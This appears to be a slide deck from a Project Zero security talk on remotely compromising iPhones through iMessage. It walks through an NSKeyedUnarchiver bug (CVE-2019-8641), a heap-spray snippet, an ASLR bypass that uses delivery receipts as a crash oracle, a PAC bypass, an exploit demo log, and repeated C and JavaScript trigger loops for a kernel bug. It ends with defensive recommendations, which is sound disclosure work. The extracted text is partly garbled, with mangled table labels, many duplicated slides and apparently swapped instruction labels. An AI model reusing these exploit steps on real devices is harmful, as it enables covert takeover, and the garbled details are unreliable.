Messenger Hacking

Remotely Compromising an iPhone over iMessage

Samuel Groß (@5aelo), Project Zero
iMessage

- Messaging service by Apple
- Enabled by default when signed in to iPhone with an Apple account
- Anyone can send messages
- Will popup a notification

=> Some kind of message processing must happen!

=> Default-enabled “0-Click” attack surface
iMessage Architecture

- iMessages are sent via Apple’s push services
- Server mostly only sees sender and receiver
- Content is End2End encrypted (good!)
- Also means Apple’s servers can hardly detect or block exploits though...
iMessage Exploit

● Prerequisites
  ○ Attacker knows phone number or email address
  ○ iPhone is in default configuration (iMessage not explicitly disabled)
  ○ iPhone is connected to Internet

● Outcome
  ○ Attacker has full control over device after few minutes
  ○ Possible without any visual indicator to user as well
Reverse Engineering

- What process is handling iMessages? Make a guess, SIGSTOP that process
  => imagent seems important, also has an “iMessage” library loaded
- Search for interesting method names, set breakpoint to see if used
  => Main handler: -[MessageServiceSession handler:incomingMessage:...]
- Hook with frida (great tool!) to dump all messages as they come in
- From there, combination of static and dynamic analysis to figure out where what part of a message is processed
iMessage Data Format

- iMessages are just PLists (Property Lists)
  - Something like json, but supports binary and XML encoding
- Many fields fairly self-explanatory
- Contains pseudo-html in x key, actually parsed as XML though
- Looks kind of complex already?

```
{  
gid = "008412B9-A4F7-4B96-96C3-70C4276CB2BE";
gv = 8;
p =  
    (  
      "mailto:saelo@google.net",
      "mailto:testaccount@saelo.net"
    );
pv = 0;
r = "6401430E-CDD3-4BC7-A377-7611706B431F";
t = "Hello 36C3!";
v = 1;
x = "<html><body>Hello 36C3!</body></html>";
}
```
Enumerating Attack Surface

{ "$objects" => [
    0 => "$null"
    1 => {
        "$class" => <CFKeyedArchiverUID>{value =7}
        "NS.count" => 0
        "NS.sideDic" => <CFKeyedArchiverUID>{value =0}
        "NS.skkeyset" => <CFKeyedArchiverUID>{value =2}
    }
    2 => ...
    ...
    7 => {
        "$classname" => "NSSharedKeyDictionary"
    }
    ...
]

An NSKeyedArchiver archive printed with plutil -p

- “ATI” and “BP” keys of an iMessage contain NSKeyedUnarchiver data
- Had numerous bugs in the past
- NSKeyedUnarchiver is now 0-Click Attack Surface...
NSKeyedUnarchiver

- Serialization format to serialize rather complex datastructures
  - Dictionaries, arrays, strings, selectors, arrays of c-strings, ...
- Extremely complex
- Even supports cyclic object relationships
- Read Natalie’s blog post to appreciate the complexity

```objective-c
NSError* err = @null;
NSData* data = dataToUnarchive;
NSSet* whitelist = [NSSet setWithArray: @[ 
    [NSDictionary class],
    [NSString class],
    [NSData class],
    [NSNumber class],
    [NSURL class],
    [NSUUID class],
    [NSValue class],
    [NSArray class]
];

id o = [NSKeyedUnarchiver unarchivedObjectOfClasses:whitelist fromData:data error:&err];
```
### Vulnerability - Timeline

<table>
<thead>
<tr>
<th>ID</th>
<th>Status</th>
<th>Restrict</th>
<th>Reported</th>
<th>Vendor</th>
<th>Product</th>
<th>Summary + Labels</th>
</tr>
</thead>
<tbody>
<tr>
<td>1526</td>
<td>Fixed</td>
<td>—</td>
<td>2019-Apr-18</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: malformed message bricks iPhone CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1528</td>
<td>Fixed</td>
<td>—</td>
<td>2019-Apr-24</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: out-of-bounds read in DigitalTouch tap message processing CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1586</td>
<td>Fixed</td>
<td>—</td>
<td>2019-May-13</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: heap overflow when deserializing URL (Mac only) CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1589</td>
<td>Fixed</td>
<td>—</td>
<td>2019-May-16</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: NSKeyedUnarchiver deserialization allows file backed NSData objects CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1573</td>
<td>Fixed</td>
<td>—</td>
<td>2019-May-21</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: NSArray deserialization can invoke subclass that does not retain references CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1574</td>
<td>Fixed</td>
<td>—</td>
<td>2019-May-22</td>
<td>Apple</td>
<td>MacOS</td>
<td>NSKeyedUnarchiver: Use-after-Free of ObjC objects when unarchiving GTSUHndicDictionary instances even if/securityCoding is required CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1581</td>
<td>Fixed</td>
<td>—</td>
<td>2019-Jun-9</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: decoding NSSharedKeyDictionary can read object out of bounds CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1583</td>
<td>Fixed</td>
<td>—</td>
<td>2019-Jun-17</td>
<td>Apple</td>
<td>NSKeyedUnarchiver</td>
<td>Message: info leak in decoding GTSUHTbbling CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1584</td>
<td>Fixed</td>
<td>—</td>
<td>2019-Jun-17</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: memory corruption when decoding NSKnownKeyDictionary CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1597</td>
<td>Fixed</td>
<td>—</td>
<td>2019-Jul-29</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: decoding NSSharedKeyDictionary can read ObjC object at attacker controlled address CoreProject2Zenركةבר</td>
</tr>
<tr>
<td>1598</td>
<td>Fixed</td>
<td>—</td>
<td>2019-Jul-29</td>
<td>Apple</td>
<td>iMessage</td>
<td>Message: decoding NSSharedKeyDictionary can lead to out-of-bounds reads CoreProject2Zenركةבר</td>
</tr>
</tbody>
</table>

- Found during joint research project with Natalie Silvanovich (@natashenka)
- Reported July 29
  - PoC Exploit sent on August 9
- Mitigated in iOS 12.4.1, August 26
  - Vulnerable code no longer reachable via iMessage
- Fully fixed in iOS 13.2, October 28
- Seemed most convenient to exploit...
- Bug: object used before it is fully initialized due to reference cycle
- Vulnerable class: SharedKeyDictionary, subclass of NSDictionary and so implicitly allowed to be decoded...
SharedKeyDictionary
SharedKeyDictionary
(pseudocode, simplified)

SharedKeyDictionary::lookup(key):
    idx = keyset.lookup(key, 0)
    return values[idx]

SharedKeySet::lookup(key, start):
    khash = hash(key)
    idx = rankTable[khash % len(rankTable)]
    if idx < numKey and key == keys[idx]:
        return start + idx
    if subskset:
        return subskset.lookup(key, start + numKey)
    return -1;
CVE-2019-8641

SharedKeySet::initWithCoder(c):
    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')
    subskset = c.decode('NS.subskset')
    keys = c.decode('NS.keys')
    if len(keys) != numKey:
        raise DecodingError()
    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
SharedKeySet::initWithCoder(c):
    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')
    subskset = c.decode('NS.subskset')
    keys = c.decode('NS.keys')
    if len(keys) != numKey:
        raise DecodingError()
    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
CVE-2019-8641

SharedKeySet::initWithCoder(c):

- **numKey** = `c.decode('NS.numKey')`
- `rankTable = c.decode('NS.rankTable')`
- `subskset = c.decode('NS.subskset')`
- `keys = c.decode('NS.keys')`

if `len(keys) != numKey`:
    raise DecodingError()

for `k` in `keys`:
    if `lookup(k) == -1`:
        raise DecodingError()

```
SharedKeySet1
- numKey: 0xffffffff
- rankTable: nullptr
- subskset: nullptr
- keys = nullptr
```
CVE-2019-8641

SharedKeySet::initWithCoder(c):

```java
    numKey = c.decode('NS.numKey')

    rankTable = c.decode('NS.rankTable')

    subskset = c.decode('NS.subskset')

    keys = c.decode('NS.keys')

    if len(keys) != numKey:
        raise DecodingError()

    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
```

SharedKeySet1
- numKey: 0xffffffff
- rankTable: [0x41414141]
- subskset: nullptr
- keys = nullptr
CVE-2019-8641

SharedKeySet::initWithCoder(c):

    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')

    subskset = c.decode('NS.subskset')

    keys = c.decode('NS.keys')

    if len(keys) != numKey:
        raise DecodingError()

    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
CVE-2019-8641

```cpp
SharedKeySet::initWithCoder(c):
    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')
    subskset = c.decode('NS.subskset')
    keys = c.decode('NS.keys')

    if len(keys) != numKey:
        raise DecodingError()
    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
```

SharedKeySet1
- numKey: 0xffffffff
- rankTable: [0x41414141]
- subskset: SKS2
- keys: nullptr

SharedKeySet2
- numKey: 0
- rankTable: nullptr
- subskset: nullptr
- keys: nullptr

Start decoding SKS2 now
SharedKeySet::initWithCoder(c):

```
numKey = c.decode('NS.numKey')
rankTable = c.decode('NS.rankTable')
subskset = c.decode('NS.subskset')
keys = c.decode('NS.keys')
if len(keys) != numKey:
    raise DecodingError()
for k in keys:
    if lookup(k) == -1:
        raise DecodingError()
```
CVE-2019-8641

```cpp
SharedKeySet::initWithCoder(c):
    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')
    subskset = c.decode('NS.subskset')
    keys = c.decode('NS.keys')
    if len(keys) != numKey:
        raise DecodingError()
    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
```

SharedKeySet1
- numKey: 0xffffffff
- rankTable: [0x41414141]
- subskset: SKS2
- keys: nullptr

SharedKeySet2
- numKey: 1
- rankTable: [42]
- subskset: nullptr
- keys: nullptr
CVE-2019-8641

```
SharedKeySet::initWithCoder(c):
    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')

subskset = c.decode('NS.subskset')
keys = c.decode('NS.keys')
if len(keys) != numKey:
    raise DecodingError()
for k in keys:
    if lookup(k) == -1:
        raise DecodingError()
```
CVE-2019-8641

SharedKeySet::initWithCoder(c):

numKey = c.decode('NS.numKey')
rankTable = c.decode('NS.rankTable')
subskset = c.decode('NS.subskset')

keys = c.decode('NS.keys')

if len(keys) != numKey:
    raise DecodingError()

for k in keys:
    if lookup(k) == -1:
        raise DecodingError()
CVE-2019-8641

SharedKeySet::initWithCoder(c):

    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')
    subskset = c.decode('NS.subskset')
    keys = c.decode('NS.keys')

if len(keys) != numKey:
    raise DecodingError()

    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
CVE-2019-8641

SharedKeySet::initWithCoder(c):

numKey = c.decode('NS.numKey')
rankTable = c.decode('NS.rankTable')
subskset = c.decode('NS.subskset')
keys = c.decode('NS.keys')

if len(keys) != numKey:
    raise DecodingError()

for k in keys:
    if lookup(k) == -1:
        raise DecodingError()
CVE-2019-8641

```cpp
SharedKeySet::initWithCoder(c):
    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')
    subskset = c.decode('NS.subskset')
    keys = c.decode('NS.keys')
    if len(keys) != numKey:
        raise DecodingError()
    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
```

SharedKeySet1
- numKey: 0xffffffff
- rankTable:
  [0x41414141]
- subskset: SKS2
- keys = nullptr

SharedKeySet2
- numKey: 1
- rankTable: [42]
- subskset: SKS1
- keys: ['key1']
CVE-2019-8641

```
SharedKeySet::initWithCoder(c):
    numKey = c.decode('NS.numKey')
    rankTable = c.decode('NS.rankTable')
    subskset = c.decode('NS.subskset')
    keys = c.decode('NS.keys')
    if len(keys) != numKey:
        raise DecodingError()
    for k in keys:
        if lookup(k) == -1:
            raise DecodingError()
```

1. idx > numKey, so recurse to subskset (SKS1)
**CVE-2019-8641**

```
SharedKeySet::initWithCoder(c):
  numKey = c.decode('NS.numKey')
  rankTable = c.decode('NS.rankTable')
  subskset = c.decode('NS.subskset')
  keys = c.decode('NS.keys')
  if len(keys) != numKey:
    raise DecodingError()
    for k in keys:
      if lookup(k) == -1:
        raise DecodingError()
```

**SharedKeySet1**
- numKey: 0xffffffff
- rankTable: [0x41414141]
- subskset: SKS2
- keys = nullptr

**SharedKeySet2**
- numKey: 1
- rankTable: [42]
- subskset: SKS1
- keys: [“key1”]

1. idx > numKey, so recurse to subskset (SKS1)
2. idx < numKey, so access nullptr + 0x41414141*8
Checkpoint

✓ Vulnerability in NSUnarchiver API, triggerable without interaction via iMessage

? Exploitation primitives gained?
Exploitation Primitive

```
SharedKeySet::lookup(key, start):
    khash = hash(key)
    idx = rankTable[khash % len(rankTable)]
    if idx < numKey and key == keys[idx]:
        return start + idx
    if subskset:
        return subskset.lookup(key, start + numKey)
    return -1;
```

- keys is nullptr, idx controlled
- During key comparison, some ObjC methods are called on the controlled object
  - E.g. isNSString
- Also possible to get dealloc method (destructor) called on controlled object
- => Exploit Primitive: treat arbitrary, absolute address as pointer to Objective-C object and call some methods on it
Checkpoint

✔ Vulnerability in NSUnarchiver API, triggerable without interaction via iMessage

✔ Can dereference arbitrary absolute address, treat as ObjC Object pointer

❓ How to exploit?
Exploitation Idea

Use bug to call some ObjC method on a fake object, e.g. `isNSString` (called during string comparison) or `dealloc` (destructor, called when an object’s reference count drops to zero).
Exploitation Idea

Use bug to call some ObjC method on a fake object, e.g., `isNSString` (called during string comparison) or `dealloc` (destructor, called when an object's reference count drops to zero).
Being Blind

Next problem: Address Space Layout Randomization (ASLR) randomizes location of a process’ memory regions

=> Location of faked object and library functions unknown
Checkpoint

✔ Vulnerability in NSUnarchiver API, triggerable without interaction in iMessage

✔ Can dereference arbitrary absolute address, treat as ObjC Object pointer

❓ Need ASLR bypass
Exploitation Idea

Use bug to call some ObjC method on a fake object, e.g. `isNSString` (called during string comparison) or `dealloc` (destructor, called when an object’s reference count drops to zero).
Heap Spraying on iOS

- Old technique, still effective today
- Idea: allocate a lot of memory until some allocation is always placed at known address
- Exploits low ASLR entropy of heap base
- In case of iMessage, heap spraying is possible by abusing NSKeyedUnarchiver features
- Try it at home:

```c
void spray() {
    const size_t size = 0x4000; // Pagesize
    const size_t count = (256 * 1024 * 1024) / size;
    for (int i = 0; i < count; i++) {
        int* chunk = malloc(size);
        *chunk = 0x41414141;
    }

    int* addr = (int*)0x110000000;
    printf("0x110000000: 0x%x\n", *addr);
    // 0x110000000: 0x41414141
}
```
Use bug to call some ObjC method on a fake object, e.g. `isNSString` (called during string comparison) or `dealloc` (destructor, called when an object’s reference count drops to zero).
Dyld Shared Cache

- Prelinked blob of most system libraries on iOS
- Reduces load times of programs (imports between libraries already resolved)
- Also used on macOS
- Contains most things relevant for an attacker: system functions, ROP gadgets, ...
- Must know where it is mapped for a successful exploit on iOS
Dyld Shared Cache (contd.)

- Shared cache mapped somewhere between 0x180000000 and 0x280000000 (4GB)
- Randomization granularity: 0x4000 bytes (large pages)
- Same address in every process, only randomized during boot
- Shared cache size: ~1GB
Breaking ASLR
Breaking ASLR with an Oracle 🌋

Suppose we had:

```python
oracle(addr):
    if isMapped(addr):
        return True
    else:
        return False
```
Breaking ASLR with an Oracle

Suppose we had:

```python
oracle(addr):
    if isMapped(addr):
        return True
    else:
        return False
```

Then we could easily break ASLR:

```python
start = 0x180000000
end = 0x280000000
step = 1024**3  # (1 GB)
for a in range(start, end, step):
    if oracle(a):
        return binary_search(a - step, a, oracle)
```
Breaking ASLR with an Oracle 🌡️

Suppose we had:

```python
oracle(addr):
    if isMapped(addr):
        return True
    else:
        return False
```

Then we could easily break ASLR:

```python
start = 0x180000000
end = 0x280000000
step = 1024**3  # (1 GB)
for a in range(start, end, step):
    if oracle(a):
        return binary_search(a - step, a, oracle)
```
Breaking ASLR with an Oracle 🔬

Suppose we had:

```python
def oracle(addr):
    if isMapped(addr):
        return True
    else:
        return False
```

Then we could easily break ASLR:

```python
start = 0x180000000
end = 0x280000000
step = 1024**3  # (1 GB)
for a in range(start, end, step):
    if oracle(a):
        return binary_search(a - step, a, oracle)
```

How to get this???
iMessage Receipts

- iMessage automatically sends receipts to the sender
  - Delivery receipts: message arrived in imagent
  - Read receipts: user saw message in app
- Read receipts can be turned off, delivery receipts cannot
- Similar features in other messengers

Received delivery + read receipt

Received delivery receipt

Received no receipt at all
Building an Oracle

processMessage(msgData):
    msg = parsePlist(msgData)

    # Extract some keys
    atiData = msg['ati']
    ati = nsUnarchive(atiData)

    # More stuff happens

    sendDeliveryReceipt()

    # ...

- Left side shows pseudocode for imagent’s handling of iMessages
- NSKeyedUnarchiver bug(s) can be triggered at `nsUnarchive()`
- Delivery receipt only sent afterwards
  => If unarchiving causes crash, no delivery receipt will be sent!
- imagent will just restart after a crash
  => Have an oracle!
Building an Oracle

oracle_cve_2019_8641(addr):
    if isMapped(addr):
        val = deref(addr)
        if isZero(val) or hasMSBSet(val) or pointsToObjCObject(val):
            return True
    return False

- CVE-2019-8641 doesn’t yield this perfect probing primitive
- Actual oracle function shown on left
  - Likely other bugs will yield similar, non-perfect oracle functions
- Still possible to infer shared cache base address in ~logarithmic time!
- Takes 20-30 iMessages, <5 minutes
  - Theoretical limit ~18 bits (messages): 32 bit address range, 0x4000 (== 2^14) alignment
- See blogpost for more details
A Remote ASLR Bypass

- Linear scan phase
  - payload(0x18000000)
  - payload(0x1c000000)
  - payload(0x20000000)

- (Binary) search phase
  - delivery receipt
  - payload(0x1e000000)

- Crash
- Crash
- Crash
Q: Can an attacker really just crash imagent 20+ times in a row?
A: Yup. Crash not visible to user in any way

Q: What about crash logs being sent to vendor?
A: iOS appears to only collect max 25 crashlogs per service, so an attacker can first crash imagent 25 times with e.g. stack exhaustion, then send exploit

Q: Can this be fixed by sending the delivery receipt before handling the message?
A: Probably not, can likely still construct timing side channel from receipts...
Checkpoint

✔ Vulnerability in NSUnarchiver API, triggerable without interaction via iMessage
✔ Can dereference arbitrary absolute address, treat as ObjC Object pointer
✔ Have bypassed ASLR, know address of dyld_shared_cache
Demo Time
Exploitation Idea

- Can now create fake ObjC object and class
- Will gain control over program counter when some method on fake object is called
- From there standard procedure, stack pivot, ROP, etc.
Pointer Authentication (PAC)

- New CPU security feature, available in iPhone XS (2018) and newer
- Idea: store cryptographic signature in top bits of pointer, verify on access
  - Used to ensure control flow integrity at runtime
  - Attacker doesn’t know secret key, can’t forge code pointers, no more ROP, JOP, ...
  - See also the research into PAC done by Brandon Azad

```
000002012345678
\[\text{Sign pointer in X3}\]
\[\text{(Done during process initialization etc.)}\]
AUTIZA X3

a827152012345678
\[\text{Authenticate function pointer in X3}\]
\[\text{and call it. Clobbers X3 if signature is invalid, leading to crash}\]
PACIZA X3
BL X3
```
Impact of PAC

- Current exploit requires faking a code pointer (ObjC method Impl) to gain control over instruction pointer...
- => No longer possible with PAC enabled
PAC Bypass Idea

- Class pointer of ObjC objects (“ISA” pointer) not protected with PAC (see Apple documentation)
- Can create fake instances of legitimate classes
- Can get existing methods (== gadgets) called
PAC Bypass Idea

- Can call a small set of existing ObjC methods (isNSString, dealloc, …)
- Idea: find destructor that calls [NSInvocation invoke] on a controlled (faked) NSInvocation
- => Can then call arbitrary ObjC methods through it!
- NSInvocation class has since been hardened to prevent abuse in similar exploitation scenarios

NSInvocation

An Objective-C message rendered as an object.


- [MPMediaPickerController dealloc]() {
  [self->someField invoke];
  // ...;
}
Checkpoint

- Vulnerability in NSUnarchiver API, triggerable without interaction via iMessage
- Can dereference arbitrary absolute address, treat as ObjC Object pointer
- Have bypassed ASLR, know address of dyld_shared_cache
- Can execute arbitrary ObjC methods
Sandboxing?

- Messages handled by different services and frameworks
- Shown on the right is “0-Click” attack surface
- Red border: sandboxed
- NSKeyedUnarchiver used in two different contexts
- Can exploit same bug in different, unsandboxed context
- Note: SpringBoard is main UI process on iOS...
- As of iOS 13, BP field is decoded in a different, sandboxed process
Checkpoint

- Vulnerability in NSUnarchiver API, triggerable without interaction via iMessage
- Can dereference arbitrary absolute address, treat as ObjC Object pointer
- Have bypassed ASLR, know address of dyld_shared_cache
- Can execute arbitrary ObjC methods, outside of sandbox
  => Can access user data, activate camera/microphone etc.
Checkpoint

✔ Vulnerability in NSUnarchiver API, triggerable without interaction via iMessage

✔ Can dereference arbitrary absolute address, treat as ObjC Object pointer

✔ Have bypassed ASLR, know address of dyld_shared_cache

✔ Can execute arbitrary ObjC methods, outside of sandbox

=> Can access user data, activate camera/microphone etc.

=> More importantly however, can pop calc:

```swift
[UIApplication
    launchApplicationWithIdentifier: @"com.apple.calculator"
    suspended: NO]
```
Demo Time
bash-3.2$ ./pwn.py

[  ] Note: this exploit *deliberately* displays notifications to the target
[  ] Will defeat ASLR first
[  ] Trying to find a valid address............
[  ] Found address inside shared cache region!
[  ] Shared cache is mapped somewhere between 0x180004000 and 0x1fbd64000
[  ] Now determining exact base address of shared cache................
[  ] Shared cache is mapped at 0x1b5cc0000
[  ] Getting ready to pop calc...........................
[  ] Let's go!

1337

1  2  3  4  5  6  7  8  9  0  AC  %  %  %  ÷  ×  +  −  =
Getting Kernel

- Next step (if any): run kernel exploit
- Problems:
  1. Code signing: can’t execute any unsigned machine code
  2. No JIT page (RWX) available as not in WebContent context
- Solution: pivot into JavaScriptCore and do some wizardry to bridge syscalls into JavaScript
  - Doesn’t require an additional vulnerability
- Similar idea to pwn.js library

iOS Privilege Levels (simplified)

- **Kernel**
  - Can directly interact with hardware, filesystem etc., potentially necessary to deploy persistency exploit
  - Can disable code signing, hide malware, possibly erase traces etc.
- **Unsandboxed Userland**
  - Can access user files, app data, messages, mails, passwords, etc.
  - Can activate microphone, camera etc.
- **Sandboxed Userland**
  - Basically can't do anything interesting
while (1) {
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

    // Permit setsockopt after disconnecting (and freeing socket options)
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int res = setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    int minmtu = -1;
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    res = disconnectx(s, 0, 0);
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));

    close(s);
}
while (1) {
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

    // Permit setsockopt after disconnecting (and freeing socket options)
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int res = setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    int minmtu = -1;
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    res = disconnectx(s, 0, 0);
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));

    close(s);
}
while (1) {
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

    // Permit setsockopt after disconnecting (and freeing socket options)
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int res = setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    int minmtu = -1;
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    res = disconnectx(s, 0, 0);
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));

    close(s);
}
while (1) {
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

    // Permit setsockopt after disconnecting (and freeing socket options)
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int res = setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    int minmtu = -1;
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    res = disconnectx(s, 0, 0);
    res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));

    close(s);
}
A JSContext object represents a JavaScript execution environment. You create and use JavaScript contexts to evaluate JavaScript scripts from Objective-C or Swift code, to access values defined in or calculated in JavaScript, and to make native objects, methods, or functions accessible to JavaScript.

```javascript
let greeting = 'Hello 36C3';
```

Some JavaScripting and a bit of Memory Corruption...

```objective-c
void* -[CNFileServices dlsym::](
    CNFileServices* self, SEL a2,
    void* a3, const char* a4) {
    return dlsym(a3, a4);
}
```
let sonpx = memory.alloc(8);
memory.write8(sonpx, new Int64("0x0000000100000001"));
let minmtu = memory.alloc(8);
memory.write8(minmtu, new Int64("0xffffffffffffffff"));

let n0 = new Int64(0);
let n4 = new Int64(4);
let n8 = new Int64(8);

while (true) {
    let s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, sonpx, n8);
    setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);
    disconnectx(s, n0, n0);
    usleep(1000);
    setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);
    close(s);
}
Checkpoint

✔ Vulnerability in NSUnarchiver API, triggerable without interaction via iMessage
✔ Can dereference arbitrary absolute address, treat as ObjC Object pointer
✔ Have bypassed ASLR, know address of dyld_shared_cache
✔ Can execute arbitrary native functions
✔ Can run kernel exploit (e.g. SockPuppet - CVE-2019-8605) from JavaScript

=> Remote, interactionless kernel-level device compromise in < 10 minutes
Pretty scary, let’s fix this ...
Weak ASLR (1)

- One key component of exploit: the ASLR bypass
- Likely also applicable to other platforms (e.g. Android) and messengers
- Problem 1: low ASLR entropy, enables heap spraying
- => Heap randomization must be much larger than some per-process memory threshold
Weak ASLR (2)

- Per-boot ASLR of major parts of the address space (shared cache)
- Similar problem on macOS, Windows, and Android (apps fork off Zygote)
- Arguably hard to fix due to performance problems...

---

**Process 1234**
- Dyld Shared Cache
- Stack
- Heap
- Binary

**Process 1357**
- Dyld Shared Cache
- Stack
- Heap
- Binary

**Process 1470**
- Dyld Shared Cache
- Stack
- Heap
- Binary
Weak ASLR (3)

- Automatic delivery receipts can allow construction of crash oracle to leak information/bypass ASLR
- Likely similar problems in other messengers, automatic delivery receipts seem widespread
- => Remove automatic message replies/receipts or send them from a different process or even from the server
Sandboxing

- Sandbox all parts of the 0-click attack surface as much as possible
- Of course to require additional sandbox escape once message handling process is compromised
- But also to complicate construction of info leaks by disallowing network activity in sandboxed process
  - See e.g. Natalie’s CVE-2019-8646 which allowed leaking ASLR secrets and stealing files
- However, don’t just rely on sandboxing!
  - Remote attack surface already hard, not unlikely to be harder than sandboxing attack surface
  - NSKeyedUnarchiver bugs are also usable for sandbox escapes as same code used over IPC
Open Sourcing of 0-Click Attack Surface Code

- Help external security researchers find bugs
- Would’ve made natashenka’s and my bugfinding efforts easier and more productive =)

Wanted:

Block Unknown Senders

- Exploitation currently possible from unknown sender without any user interaction
- => Require additional user input before processing (complex) messages from unknown senders?
- Good example: Threema
  
Now also disable delivery receipts please =)
Auto Restarting Services

- Automatically restarting services give the attacker near infinite tries
- Likely to become even more relevant with memory tagging
- => If a daemon processing untrusted input crashes 10+ times, stop restarting it for a while?
- Needs some thinking to avoid accidentally DoS’ing the user due to harmless software bugs
Conclusion

● 0-Click Exploits are a thing, unfortunately
● Memory corruption bugs still remotely exploitable
  ○ Without separate info leak
  ○ Despite all mitigations
● Exploitation could likely be made much harder by turning the right knobs
● Also need more attack surface reduction on 0-Click attack surface
  ○ Block unknown senders
  ○ Simplify implementation
  ○ Reduce overall complexity
● But, progress is being made!